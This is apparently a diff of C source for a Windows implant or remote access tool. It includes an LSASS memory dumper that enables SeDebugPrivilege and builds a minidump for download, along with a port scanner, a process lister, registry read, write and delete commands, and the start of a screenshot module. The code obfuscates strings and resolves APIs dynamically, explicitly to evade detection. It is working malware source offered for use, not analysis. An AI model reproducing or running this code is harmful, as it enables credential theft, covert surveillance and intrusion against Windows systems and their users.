uint16_t Arch; uint16_t Level; uint16_t Rev;
uint8_t NCpu; uint8_t ProdType;
uint32_t Major; uint32_t Minor; uint32_t Build;
uint32_t Platform; uint32_t CsdRva;
uint16_t Suite; uint16_t Rsv2;
uint64_t CpuFeatures[2];
} md_sysinfo_t; /* 48 */
typedef struct {
uint64_t Base; uint32_t Size; uint32_t Chk;
uint32_t Ts; uint32_t NameRva;
uint8_t VerInfo[52]; /* VS_FIXEDFILEINFO — zeroed */
md_loc_t CvRec; md_loc_t MiscRec;
uint64_t Rsv0; uint64_t Rsv1;
} md_mod_t; /* 108 */
typedef struct { uint64_t Start; uint64_t DataSz; } md_range_t; /* 16 */
typedef struct { uint64_t N; uint64_t BaseRva; } md_mem64_t; /* 16 */
#pragma pack(pop)
#define MD_STREAM_SYSINFO 7
#define MD_STREAM_MODLIST 4
#define MD_STREAM_MEM64 9
static DWORD _find_lsass(void)
{
char name[12] = {0};
{ volatile unsigned char _k = EVS_KEY;
for (int i = 0; i < (int)sizeof(EVS_str_lsass_exe); i++)
name[i] = (char)(EVS_str_lsass_exe[i] ^ _k); }
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32 pe = {sizeof(pe)};
DWORD pid = 0;
if (Process32First(snap, &pe)) do {
if (_stricmp(pe.szExeFile, name) == 0) { pid = pe.th32ProcessID; break; }
} while (Process32Next(snap, &pe));
CloseHandle(snap);
SecureZeroMemory(name, sizeof(name));
return pid;
}
static int _is_readable(DWORD prot)
{
DWORD p = prot & 0xFF;
return p == PAGE_READONLY || p == PAGE_READWRITE ||
p == PAGE_EXECUTE_READ || p == PAGE_EXECUTE_READWRITE ||
p == PAGE_EXECUTE_WRITECOPY || p == PAGE_WRITECOPY;
}
static BOOL _wf(HANDLE hf, const void *d, DWORD sz)
{
DWORD w;
return WriteFile(hf, d, sz, &w, NULL) && w == sz;
}
/* ===== Module collection ===== */
#define MAX_MODS 512
typedef struct {
uint64_t base;
uint32_t size;
uint32_t csum;
uint32_t ts;
WCHAR path[MAX_PATH];
uint32_t path_bytes; /* byte length of path (no null) */
} lsmod_t;
static int _collect_mods(DWORD pid, HANDLE hp, lsmod_t *mods, int *out)
{
HANDLE snap = CreateToolhelp32Snapshot(
TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid);
if (snap == INVALID_HANDLE_VALUE) return -1;
int n = 0;
MODULEENTRY32 me = {sizeof(me)};
if (Module32First(snap, &me)) do {
if (n >= MAX_MODS) break;
lsmod_t *m = &mods[n++];
m->base = (uint64_t)(uintptr_t)me.modBaseAddr;
m->size = me.modBaseSize;
m->csum = 0;
m->ts = 0;
/* Read PE header for precise timestamps + SizeOfImage */
BYTE hdr[0x400];
SIZE_T rd = 0;
{ _lNtRVM_t _r = _lsass_nrvm();
if (_r) _r(hp, me.modBaseAddr, hdr, sizeof(hdr), &rd); }
if (rd >= 0x40) {
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)(void *)hdr;
if (dos->e_magic == IMAGE_DOS_SIGNATURE) {
DWORD ne_off = (DWORD)dos->e_lfanew;
if (ne_off + sizeof(IMAGE_NT_HEADERS) <= rd) {
IMAGE_NT_HEADERS *nt =
(IMAGE_NT_HEADERS *)(void *)(hdr + ne_off);
if (nt->Signature == IMAGE_NT_SIGNATURE) {
m->ts = nt->FileHeader.TimeDateStamp;
m->csum = nt->OptionalHeader.CheckSum;
m->size = nt->OptionalHeader.SizeOfImage;
}
}
}
}
int wlen = MultiByteToWideChar(CP_ACP, 0, me.szExePath, -1,
m->path, MAX_PATH);
m->path_bytes = (wlen > 1) ? (uint32_t)((wlen - 1) * 2) : 0;
} while (Module32Next(snap, &me));
CloseHandle(snap);
*out = n;
return 0;
}
/* ===== Memory region collection ===== */
#define MAX_REGS 8192
typedef struct { uint64_t start; uint64_t size; } mreg_t;
static int _collect_regs(HANDLE hp, mreg_t *regs, int *out)
{
int n = 0;
MEMORY_BASIC_INFORMATION mbi;
ULONG_PTR addr = 0;
while (VirtualQueryEx(hp, (LPCVOID)addr, &mbi, sizeof(mbi)) == sizeof(mbi)) {
addr = (ULONG_PTR)mbi.BaseAddress + mbi.RegionSize;
if (mbi.State != MEM_COMMIT) continue;
if (mbi.Protect & PAGE_GUARD) continue;
if (!_is_readable(mbi.Protect)) continue;
if (n >= MAX_REGS) break;
regs[n].start = (uint64_t)(uintptr_t)mbi.BaseAddress;
regs[n].size = (uint64_t)mbi.RegionSize;
n++;
}
*out = n;
return 0;
}
/* ===== Main dump function ===== */
int cmd_lsassdump(const char *out_path, char *output_buf, size_t output_size)
{
char dump_path[MAX_PATH + 32];
if (out_path && out_path[0]) {
strncpy(dump_path, out_path, sizeof(dump_path) - 1);
dump_path[sizeof(dump_path) - 1] = '\0';
} else {
char tmp[MAX_PATH];
GetTempPathA(sizeof(tmp), tmp);
snprintf(dump_path, sizeof(dump_path), "%s%08lx.tmp", tmp, (unsigned long)GetTickCount());
}
/* SeDebugPrivilege LUID={20,0} — constant on all NT */
{
const adv_api_t *_a = adv_get();
HANDLE _tok = NULL;
if (_a->OpenProcessToken && _a->AdjustTokenPrivileges &&
_a->OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &_tok)) {
TOKEN_PRIVILEGES _tp;
_tp.PrivilegeCount = 1;
_tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
_tp.Privileges[0].Luid.LowPart = 20; _tp.Privileges[0].Luid.HighPart = 0;
_a->AdjustTokenPrivileges(_tok, FALSE, &_tp, 0, NULL, NULL);
CloseHandle(_tok);
}
}
DWORD pid = _find_lsass();
if (!pid) {
snprintf(output_buf, output_size,
"[ld] target not found\n");
return -1;
}
HANDLE hp = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
FALSE, pid);
if (!hp) {
snprintf(output_buf, output_size,
"[ld] OpenProcess(%lu) failed: %lu\n",
(unsigned long)pid, GetLastError());
return -1;
}
lsmod_t *mods = (lsmod_t *)calloc(MAX_MODS, sizeof(lsmod_t));
mreg_t *regs = (mreg_t *)calloc(MAX_REGS, sizeof(mreg_t));
if (!mods || !regs) {
free(mods); free(regs); CloseHandle(hp); return -1;
}
int n_mods = 0, n_regs = 0;
_collect_mods(pid, hp, mods, &n_mods);
_collect_regs(hp, regs, &n_regs);
/* Total bytes for all MINIDUMP_STRING entries (4-byte aligned) */
uint32_t str_bytes = 0;
for (int i = 0; i < n_mods; i++) {
uint32_t raw = 4 + mods[i].path_bytes + 2; /* len(u32)+wchars+null */
str_bytes += (raw + 3) & ~3u;
}
/*
* File layout:
* [0] md_hdr_t 32
* [32] md_dir_t × 3 36
* [68] md_sysinfo_t 48
* [116] uint32 n_mods 4
* [120] md_mod_t × n_mods n*108
* [+str] MINIDUMP_STRINGs str_bytes
* [+m64h] md_mem64_t 16
* [+ranges] md_range_t × n_regs r*16
* [+data] raw memory pages (BaseRva here)
*/
uint32_t off_sys = 68;
uint32_t off_mlist = 116;
uint32_t off_mods = 120;
uint32_t off_strs = off_mods + (uint32_t)n_mods * 108;
uint32_t off_m64 = off_strs + str_bytes;
uint32_t off_ranges = off_m64 + 16;
uint32_t off_data = off_ranges + (uint32_t)n_regs * 16;
HANDLE hf = CreateFileA(dump_path, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hf == INVALID_HANDLE_VALUE) {
free(mods); free(regs); CloseHandle(hp);
snprintf(output_buf, output_size,
"[ld] CreateFile(%s) failed: %lu\n",
dump_path, GetLastError());
return -1;
}
/* Header */
md_hdr_t hdr = {0};
hdr.Sig = 0x504d444dUL; /* 'MDMP' */
hdr.Ver = 0xA793;
hdr.N = 3;
hdr.DirRva = 32;
hdr.Ts = GetTickCount();
hdr.Flags = 2; /* MiniDumpWithFullMemory */
_wf(hf, &hdr, sizeof(hdr));
/* Directory (3 streams) */
md_dir_t dirs[3] = {
{MD_STREAM_SYSINFO,
{sizeof(md_sysinfo_t), off_sys}},
{MD_STREAM_MODLIST,
{4 + (uint32_t)n_mods * 108 + str_bytes, off_mlist}},
{MD_STREAM_MEM64,
{16 + (uint32_t)n_regs * 16, off_m64}},
};
_wf(hf, dirs, sizeof(dirs));
/* SystemInfo */
md_sysinfo_t si = {0};
si.Arch = 9; /* AMD64 */
si.NCpu = 1;
si.Platform = 2; /* VER_PLATFORM_WIN32_NT */
OSVERSIONINFOA osi = {sizeof(osi)};
GetVersionExA(&osi);
si.Major = osi.dwMajorVersion;
si.Minor = osi.dwMinorVersion;
si.Build = osi.dwBuildNumber;
_wf(hf, &si, sizeof(si));
/* ModuleList: count */
uint32_t nm = (uint32_t)n_mods;
_wf(hf, &nm, 4);
/* ModuleList: entries */
uint32_t name_rva = off_strs;
for (int i = 0; i < n_mods; i++) {
md_mod_t m = {0};
m.Base = mods[i].base;
m.Size = mods[i].size;
m.Chk = mods[i].csum;
m.Ts = mods[i].ts;
m.NameRva = name_rva;
_wf(hf, &m, sizeof(m));
uint32_t raw = 4 + mods[i].path_bytes + 2;
name_rva += (raw + 3) & ~3u;
}
/* ModuleList: MINIDUMP_STRING entries */
for (int i = 0; i < n_mods; i++) {
uint32_t len = mods[i].path_bytes;
_wf(hf, &len, 4);
_wf(hf, mods[i].path, len + 2); /* +2: null wchar */
uint32_t raw = 4 + len + 2;
uint32_t padded = (raw + 3) & ~3u;
if (padded > raw) {
uint32_t pad = 0;
_wf(hf, &pad, padded - raw);
}
}
/* Memory64List: header */
md_mem64_t m64 = {(uint64_t)n_regs, (uint64_t)off_data};
_wf(hf, &m64, sizeof(m64));
/* Memory64List: descriptors */
for (int i = 0; i < n_regs; i++) {
md_range_t r = {regs[i].start, regs[i].size};
_wf(hf, &r, sizeof(r));
}
/* Memory data — read LSASS pages and write sequentially */
BYTE *rbuf = (BYTE *)malloc(0x10000);
if (rbuf) {
for (int i = 0; i < n_regs; i++) {
uint64_t left = regs[i].size;
ULONG_PTR cursor = (ULONG_PTR)regs[i].start;
while (left > 0) {
SIZE_T chunk = (SIZE_T)(left > 0x10000 ? 0x10000 : left);
SIZE_T rd = 0;
{ _lNtRVM_t _r = _lsass_nrvm();
if (_r) _r(hp, (PVOID)cursor, rbuf, chunk, &rd); }
if (!rd) {
memset(rbuf, 0, chunk);
rd = chunk;
}
_wf(hf, rbuf, (DWORD)rd);
cursor += rd;
left -= rd;
}
}
free(rbuf);
}
CloseHandle(hf);
CloseHandle(hp);
free(mods);
free(regs);
LARGE_INTEGER fsz = {0};
HANDLE hf2 = CreateFileA(dump_path, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
if (hf2 != INVALID_HANDLE_VALUE) {
GetFileSizeEx(hf2, &fsz);
CloseHandle(hf2);
}
snprintf(output_buf, output_size,
"[ld] ok pid=%lu mods=%d regions=%d\n"
" path: %s (%llu bytes)\n"
" download: download %s\n",
(unsigned long)pid, n_mods, n_regs,
dump_path, (unsigned long long)fsz.QuadPart,
dump_path);
return 0;
}
+143
View File
@@ -0,0 +1,143 @@
#ifndef FD_SETSIZE
#define FD_SETSIZE 512
#endif
#include "commands.h"
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define SCAN_BATCH 256
static int _scan_batch(const char *host,
unsigned short *ports, int nports,
int timeout_ms,
char *out, size_t outsz, size_t *pos)
{
SOCKET socks[SCAN_BATCH];
int valid[SCAN_BATCH];
struct addrinfo *res[SCAN_BATCH];
for (int i = 0; i < nports; i++) {
socks[i] = INVALID_SOCKET;
valid[i] = 0;
res[i] = NULL;
}
/* start non-blocking connects */
for (int i = 0; i < nports; i++) {
char portstr[8];
snprintf(portstr, sizeof(portstr), "%u", ports[i]);
struct addrinfo hints;
memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
if (getaddrinfo(host, portstr, &hints, &res[i]) != 0 || !res[i])
continue;
socks[i] = socket(res[i]->ai_family, SOCK_STREAM, IPPROTO_TCP);
if (socks[i] == INVALID_SOCKET) {
freeaddrinfo(res[i]); res[i] = NULL;
continue;
}
/* Non-blocking */
u_long nb = 1;
ioctlsocket(socks[i], FIONBIO, &nb);
connect(socks[i], res[i]->ai_addr, (int)res[i]->ai_addrlen);
/* WSAEWOULDBLOCK expected */
valid[i] = 1;
}
/* wait for results */
struct timeval tv;
tv.tv_sec = timeout_ms / 1000;
tv.tv_usec = (timeout_ms % 1000) * 1000;
fd_set wset, eset;
FD_ZERO(&wset);
FD_ZERO(&eset);
for (int i = 0; i < nports; i++) {
if (valid[i] && socks[i] != INVALID_SOCKET) {
FD_SET(socks[i], &wset);
FD_SET(socks[i], &eset);
}
}
select(0, NULL, &wset, &eset, &tv);
int found = 0;
for (int i = 0; i < nports; i++) {
if (!valid[i] || socks[i] == INVALID_SOCKET) goto cleanup;
if (FD_ISSET(socks[i], &wset)) {
/* Check SO_ERROR — 0 means connected */
int err = 0;
int elen = sizeof(err);
getsockopt(socks[i], SOL_SOCKET, SO_ERROR,
(char *)&err, &elen);
if (err == 0) {
int n = snprintf(out + *pos, outsz - *pos,
" open %s:%u\n", host, ports[i]);
if (n > 0 && (size_t)n < outsz - *pos) *pos += (size_t)n;
found++;
}
}
cleanup:
if (socks[i] != INVALID_SOCKET) {
closesocket(socks[i]);
socks[i] = INVALID_SOCKET;
}
if (res[i]) { freeaddrinfo(res[i]); res[i] = NULL; }
}
return found;
}
int cmd_portscan(const char *host, unsigned short start, unsigned short end,
int timeout_ms, char *output_buf, size_t output_size)
{
WSADATA wsa;
WSAStartup(MAKEWORD(2, 2), &wsa);
if (!host || !host[0] || start > end) {
snprintf(output_buf, output_size,
"[portscan] usage: portscan <host> <start>-<end> [timeout_ms]\n");
return -1;
}
if (timeout_ms <= 0) timeout_ms = 500;
size_t pos = 0;
int n = snprintf(output_buf + pos, output_size - pos,
"[portscan] %s %u-%u timeout=%dms\n",
host, start, end, timeout_ms);
if (n > 0) pos += (size_t)n;
unsigned short batch[SCAN_BATCH];
int bsz = 0;
int total = 0;
for (unsigned int p = start; p <= (unsigned int)end; p++) {
batch[bsz++] = (unsigned short)p;
if (bsz == SCAN_BATCH || p == (unsigned int)end) {
total += _scan_batch(host, batch, bsz, timeout_ms,
output_buf, output_size, &pos);
bsz = 0;
/* Bail if output nearly full */
if (pos + 256 >= output_size) break;
}
}
n = snprintf(output_buf + pos, output_size - pos,
"[portscan] done %d open\n", total);
if (n > 0 && (size_t)n < output_size - pos) pos += (size_t)n;
return 0;
}
+115
View File
@@ -0,0 +1,115 @@
#include "commands.h"
#include "adv_lazy.h"
#include "peb_walk.h"
#include "evs_strings.h"
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
/* list running processes with PID, PPID, arch and integrity */
typedef BOOL (WINAPI *IsWow64Process_t)(HANDLE, PBOOL);
static IsWow64Process_t s_wow64 = NULL;
static void _init_wow64(void)
{
if (s_wow64) return;
char _dn[13], _fn[16];
EVS_D(_dn, EVS_dll_kernel32); EVS_D(_fn, EVS_fn_IsWow64Process);
HMODULE k32 = _peb_module(_dn); SecureZeroMemory(_dn, sizeof(_dn));
if (k32) s_wow64 = (IsWow64Process_t)(void *)GetProcAddress(k32, _fn);
SecureZeroMemory(_fn, sizeof(_fn));
}
static const char *_arch(HANDLE hproc)
{
_init_wow64();
if (!s_wow64) return "?";
BOOL wow64 = FALSE;
return (s_wow64(hproc, &wow64) && wow64) ? "x86" : "x64";
}
static const char *_integrity(HANDLE hproc)
{
HANDLE htoken = NULL;
{ const adv_api_t *_a = adv_get();
if (!_a->OpenProcessToken || !_a->OpenProcessToken(hproc, TOKEN_QUERY, &htoken))
return "?"; }
DWORD needed = 0;
GetTokenInformation(htoken, TokenIntegrityLevel, NULL, 0, &needed);
if (!needed) { CloseHandle(htoken); return "?"; }
TOKEN_MANDATORY_LABEL *tml = (TOKEN_MANDATORY_LABEL *)malloc(needed);
if (!tml) { CloseHandle(htoken); return "?"; }
const char *label = "?";
if (GetTokenInformation(htoken, TokenIntegrityLevel, tml, needed, &needed)) {
DWORD rid = *GetSidSubAuthority(tml->Label.Sid,
(DWORD)(*GetSidSubAuthorityCount(tml->Label.Sid) - 1));
if (rid >= SECURITY_MANDATORY_SYSTEM_RID) label = "system";
else if (rid >= SECURITY_MANDATORY_HIGH_RID) label = "high";
else if (rid >= SECURITY_MANDATORY_MEDIUM_RID) label = "med";
else if (rid >= SECURITY_MANDATORY_LOW_RID) label = "low";
else label = "untrust";
}
free(tml);
CloseHandle(htoken);
return label;
}
int cmd_ps(char *output_buf, size_t output_size)
{
if (!output_buf || output_size < 128) return -1;
output_buf[0] = '\0';
int hdr = snprintf(output_buf, output_size,
"%-8s %-8s %-5s %-8s %s\n"
"%-8s %-8s %-5s %-8s %s\n",
"PID", "PPID", "ARCH", "INTEGR.", "NAME",
"---", "----", "----", "-------", "----");
if (hdr < 0 || (size_t)hdr >= output_size) return 0;
size_t off = (size_t)hdr;
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) {
snprintf(output_buf + off, output_size - off, "[ps] snapshot failed\n");
return -1;
}
PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);
if (!Process32First(snap, &pe)) { CloseHandle(snap); return -1; }
do {
const char *arch = "?";
const char *integ = "?";
HANDLE hproc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION,
FALSE, pe.th32ProcessID);
if (hproc) {
arch = _arch(hproc);
integ = _integrity(hproc);
CloseHandle(hproc);
}
int n = snprintf(output_buf + off, output_size - off,
"%-8lu %-8lu %-5s %-8s %s\n",
(unsigned long)pe.th32ProcessID,
(unsigned long)pe.th32ParentProcessID,
arch, integ, pe.szExeFile);
if (n > 0) off += (size_t)n;
if (off + 128 >= output_size) {
snprintf(output_buf + off, output_size - off, "[...truncated]\n");
break;
}
} while (Process32Next(snap, &pe));
CloseHandle(snap);
return 0;
}
+309
View File
@@ -0,0 +1,309 @@
#include "commands.h"
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
/* parse hive prefix and return root HKEY */
static HKEY _hive(const char *keypath, const char **subkey)
{
static const struct { const char *pfx; HKEY hive; } map[] = {
{"HKEY_LOCAL_MACHINE\\", HKEY_LOCAL_MACHINE},
{"HKLM\\", HKEY_LOCAL_MACHINE},
{"HKEY_CURRENT_USER\\", HKEY_CURRENT_USER},
{"HKCU\\", HKEY_CURRENT_USER},
{"HKEY_USERS\\", HKEY_USERS},
{"HKU\\", HKEY_USERS},
{"HKEY_CLASSES_ROOT\\", HKEY_CLASSES_ROOT},
{"HKCR\\", HKEY_CLASSES_ROOT},
{"HKEY_CURRENT_CONFIG\\", HKEY_CURRENT_CONFIG},
{"HKCC\\", HKEY_CURRENT_CONFIG},
};
for (int i = 0; i < (int)(sizeof(map)/sizeof(map[0])); i++) {
size_t len = strlen(map[i].pfx);
if (_strnicmp(keypath, map[i].pfx, len) == 0) {
*subkey = keypath + len;
return map[i].hive;
}
}
*subkey = keypath;
return NULL;
}
static const char *_type_name(DWORD t)
{
switch (t) {
case REG_SZ: return "REG_SZ";
case REG_EXPAND_SZ: return "REG_EXPAND_SZ";
case REG_MULTI_SZ: return "REG_MULTI_SZ";
case REG_DWORD: return "REG_DWORD";
case REG_QWORD: return "REG_QWORD";
case REG_BINARY: return "REG_BINARY";
case REG_NONE: return "REG_NONE";
default: return "REG_UNKNOWN";
}
}
/* Format a registry value into buf */
static int _fmt_value(const char *name, DWORD type,
const BYTE *data, DWORD datalen,
char *buf, size_t bufsz)
{
char val[1024] = {0};
switch (type) {
case REG_SZ:
case REG_EXPAND_SZ:
snprintf(val, sizeof(val), "\"%.*s\"", (int)datalen, (const char *)data);
break;
case REG_MULTI_SZ: {
/* NUL-separated list */
size_t pos = 0;
const char *s = (const char *)data;
while (s < (const char *)data + datalen && *s) {
int n = snprintf(val + pos, sizeof(val) - pos, "%s; ", s);
if (n > 0) pos += (size_t)n;
s += strlen(s) + 1;
}
break;
}
case REG_DWORD:
if (datalen >= 4) {
DWORD dw;
memcpy(&dw, data, 4);
snprintf(val, sizeof(val), "0x%08lX (%lu)", dw, dw);
}
break;
case REG_QWORD:
if (datalen >= 8) {
ULONGLONG qw;
memcpy(&qw, data, 8);
snprintf(val, sizeof(val), "0x%016llX", qw);
}
break;
case REG_BINARY: {
size_t pos = 0;
for (DWORD i = 0; i < datalen && pos + 3 < sizeof(val); i++) {
snprintf(val + pos, sizeof(val) - pos, "%02X ", data[i]);
pos += 3;
}
break;
}
default:
snprintf(val, sizeof(val), "<binary %lu bytes>", datalen);
break;
}
return snprintf(buf, bufsz, " %-30s %-14s %s\n",
name[0] ? name : "(Default)", _type_name(type), val);
}
/* query one value or enumerate all values in a key */
int cmd_reg_query(const char *keypath, const char *valname,
char *output_buf, size_t output_size)
{
const char *subkey = NULL;
HKEY hive = _hive(keypath, &subkey);
if (!hive) {
snprintf(output_buf, output_size,
"[reg] unknown hive in: %s\n", keypath);
return -1;
}
HKEY hk;
LONG rc = RegOpenKeyExA(hive, subkey, 0, KEY_READ, &hk);
if (rc != ERROR_SUCCESS) {
snprintf(output_buf, output_size,
"[reg] RegOpenKeyEx failed: %ld\n", rc);
return -1;
}
size_t pos = 0;
int n = snprintf(output_buf + pos, output_size - pos,
"%s\n", keypath);
if (n > 0) pos += (size_t)n;
if (valname && valname[0]) {
/* query single value */
BYTE buf[4096];
DWORD datalen = sizeof(buf);
DWORD type = 0;
rc = RegQueryValueExA(hk, valname, NULL, &type, buf, &datalen);
if (rc == ERROR_SUCCESS) {
char line[2048];
_fmt_value(valname, type, buf, datalen, line, sizeof(line));
n = snprintf(output_buf + pos, output_size - pos, "%s", line);
if (n > 0) pos += (size_t)n;
} else {
n = snprintf(output_buf + pos, output_size - pos,
" [not found: %s]\n", valname);
if (n > 0) pos += (size_t)n;
}
} else {
/* enumerate all values */
DWORD idx = 0;
for (;;) {
char name[256];
BYTE data[4096];
DWORD namesz = sizeof(name);
DWORD datasz = sizeof(data);
DWORD type = 0;
rc = RegEnumValueA(hk, idx++, name, &namesz, NULL,
&type, data, &datasz);
if (rc == ERROR_NO_MORE_ITEMS) break;
if (rc != ERROR_SUCCESS) break;
char line[2048];
_fmt_value(name, type, data, datasz, line, sizeof(line));
n = snprintf(output_buf + pos, output_size - pos, "%s", line);
if (n > 0 && (size_t)n < output_size - pos)
pos += (size_t)n;
else
break;
}
if (idx == 1) {
n = snprintf(output_buf + pos, output_size - pos,
" (no values)\n");
if (n > 0) pos += (size_t)n;
}
}
RegCloseKey(hk);
return 0;
}
/* set a registry value */
int cmd_reg_set(const char *keypath, const char *valname,
const char *type_str, const char *value,
char *output_buf, size_t output_size)
{
const char *subkey = NULL;
HKEY hive = _hive(keypath, &subkey);
if (!hive) {
snprintf(output_buf, output_size,
"[reg] unknown hive in: %s\n", keypath);
return -1;
}
/* resolve type string */
DWORD type = REG_SZ;
if (_stricmp(type_str, "REG_DWORD") == 0 || _stricmp(type_str, "dword") == 0)
type = REG_DWORD;
else if (_stricmp(type_str, "REG_BINARY") == 0 || _stricmp(type_str, "binary") == 0)
type = REG_BINARY;
else if (_stricmp(type_str, "REG_EXPAND_SZ") == 0 || _stricmp(type_str, "expand_sz") == 0)
type = REG_EXPAND_SZ;
else if (_stricmp(type_str, "REG_MULTI_SZ") == 0 || _stricmp(type_str, "multi_sz") == 0)
type = REG_MULTI_SZ;
/* else default REG_SZ */
HKEY hk;
LONG rc = RegCreateKeyExA(hive, subkey, 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_SET_VALUE,
NULL, &hk, NULL);
if (rc != ERROR_SUCCESS) {
snprintf(output_buf, output_size,
"[reg] create failed: %ld\n", rc);
return -1;
}
LONG set_rc = ERROR_SUCCESS;
switch (type) {
case REG_DWORD: {
DWORD dw = (DWORD)strtoul(value, NULL, 0);
set_rc = RegSetValueExA(hk, valname, 0, REG_DWORD,
(const BYTE *)&dw, sizeof(DWORD));
break;
}
case REG_BINARY: {
/* parse hex string to bytes */
size_t vlen = strlen(value);
BYTE *bin = (BYTE *)malloc((vlen / 2) + 1);
if (!bin) { RegCloseKey(hk); return -1; }
size_t blen = 0;
for (size_t i = 0; i + 1 < vlen; i += 2) {
char hx[3] = {value[i], value[i+1], '\0'};
bin[blen++] = (BYTE)strtoul(hx, NULL, 16);
}
set_rc = RegSetValueExA(hk, valname, 0, REG_BINARY, bin, (DWORD)blen);
free(bin);
break;
}
default: /* REG_SZ, REG_EXPAND_SZ */
set_rc = RegSetValueExA(hk, valname, 0, type,
(const BYTE *)value,
(DWORD)(strlen(value) + 1));
break;
}
RegCloseKey(hk);
if (set_rc == ERROR_SUCCESS) {
snprintf(output_buf, output_size,
"[reg] set %s\\%s (%s) = %s\n",
keypath, valname, type_str, value);
return 0;
}
snprintf(output_buf, output_size,
"[reg] set failed: %ld\n", set_rc);
return -1;
}
/* delete a registry key or value */
int cmd_reg_delete(const char *keypath, const char *valname,
char *output_buf, size_t output_size)
{
const char *subkey = NULL;
HKEY hive = _hive(keypath, &subkey);
if (!hive) {
snprintf(output_buf, output_size,
"[reg] unknown hive in: %s\n", keypath);
return -1;
}
LONG rc;
if (!valname || !valname[0]) {
/* delete the key itself */
rc = RegDeleteKeyA(hive, subkey);
if (rc == ERROR_SUCCESS) {
snprintf(output_buf, output_size,
"[reg] deleted key: %s\n", keypath);
return 0;
}
snprintf(output_buf, output_size,
"[reg] RegDeleteKey failed: %ld\n", rc);
return -1;
}
/* delete specific value */
HKEY hk;
rc = RegOpenKeyExA(hive, subkey, 0, KEY_SET_VALUE, &hk);
if (rc != ERROR_SUCCESS) {
snprintf(output_buf, output_size,
"[reg] RegOpenKeyEx failed: %ld\n", rc);
return -1;
}
rc = RegDeleteValueA(hk, valname);
RegCloseKey(hk);
if (rc == ERROR_SUCCESS) {
snprintf(output_buf, output_size,
"[reg] deleted value: %s \\ %s\n", keypath, valname);
return 0;
}
snprintf(output_buf, output_size,
"[reg] RegDeleteValue failed: %ld\n", rc);
return -1;
}
+236
View File
@@ -0,0 +1,236 @@
#include "commands.h"
#include "crypto.h"
#include "evs_strings.h"
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/* ── Dynamic GDI/USER32 dispatch — removes screen-capture IAT fingerprint ─── */
typedef HDC (WINAPI *pGetDC_t) (HWND);
typedef int (WINAPI *pReleaseDC_t) (HWND, HDC);
typedef int (WINAPI *pGetDeviceCaps_t) (HDC, int);
typedef HDC (WINAPI *pCreateCompatibleDC_t) (HDC);
typedef HBITMAP(WINAPI *pCreateCompatibleBitmap_t)(HDC, int, int);
typedef HGDIOBJ(WINAPI *pSelectObject_t) (HDC, HGDIOBJ);
typedef BOOL (WINAPI *pBitBlt_t) (HDC,int,int,int,int,HDC,int,int,DWORD);
typedef BOOL (WINAPI *pStretchBlt_t) (HDC,int,int,int,int,HDC,int,int,int,int,DWORD);
typedef BOOL (WINAPI *pDeleteDC_t) (HDC);
typedef BOOL (WINAPI *pDeleteObject_t) (HGDIOBJ);
typedef HGDIOBJ(WINAPI *pGetStockObject_t) (int);
typedef int (WINAPI *pSetStretchBltMode_t) (HDC, int);
typedef BOOL (WINAPI *pSetBrushOrgEx_t) (HDC, int, int, POINT *);
typedef int (WINAPI *pGetDIBits_t) (HDC,HBITMAP,UINT,UINT,LPVOID,LPBITMAPINFO,UINT);
typedef struct {
pGetDC_t GetDC;
pReleaseDC_t ReleaseDC;
pGetDeviceCaps_t GetDeviceCaps;
pCreateCompatibleDC_t CreateCompatibleDC;
pCreateCompatibleBitmap_t CreateCompatibleBitmap;
pSelectObject_t SelectObject;
pBitBlt_t BitBlt;
pStretchBlt_t StretchBlt;
pDeleteDC_t DeleteDC;
pDeleteObject_t DeleteObject;
pGetStockObject_t GetStockObject;
pSetStretchBltMode_t SetStretchBltMode;
pSetBrushOrgEx_t SetBrushOrgEx;
pGetDIBits_t GetDIBits;
} ss_api_t;
static ss_api_t _ss = {0};
static int _ss_init(void)
{
if (_ss.BitBlt) return 0;
char _fn[32];
#define _DEC_GPA(dll, enc, dst) do { \
EVS_D(_fn, enc); \
(dst) = (void *)GetProcAddress(dll, _fn); \
SecureZeroMemory(_fn, sizeof(enc) + 1); } while(0)
char _dll[12];
EVS_D(_dll, EVS_dll_gdi32);
HMODULE hg = LoadLibraryA(_dll);
SecureZeroMemory(_dll, sizeof(_dll));
char _udll[12];
EVS_D(_udll, EVS_dll_user32);
HMODULE hu = LoadLibraryA(_udll);
SecureZeroMemory(_udll, sizeof(_udll));
if (!hg || !hu) return -1;
_DEC_GPA(hu, EVS_fn_GetDC, _ss.GetDC);
_DEC_GPA(hu, EVS_fn_ReleaseDC, _ss.ReleaseDC);
_DEC_GPA(hg, EVS_fn_GetDeviceCaps, _ss.GetDeviceCaps);
_DEC_GPA(hg, EVS_fn_CreateCompatibleDC, _ss.CreateCompatibleDC);
_DEC_GPA(hg, EVS_fn_CreateCompatibleBitmap, _ss.CreateCompatibleBitmap);
_DEC_GPA(hg, EVS_fn_SelectObject, _ss.SelectObject);
_DEC_GPA(hg, EVS_fn_BitBlt, _ss.BitBlt);
_DEC_GPA(hg, EVS_fn_StretchBlt, _ss.StretchBlt);
_DEC_GPA(hg, EVS_fn_DeleteDC, _ss.DeleteDC);
_DEC_GPA(hg, EVS_fn_DeleteObject, _ss.DeleteObject);
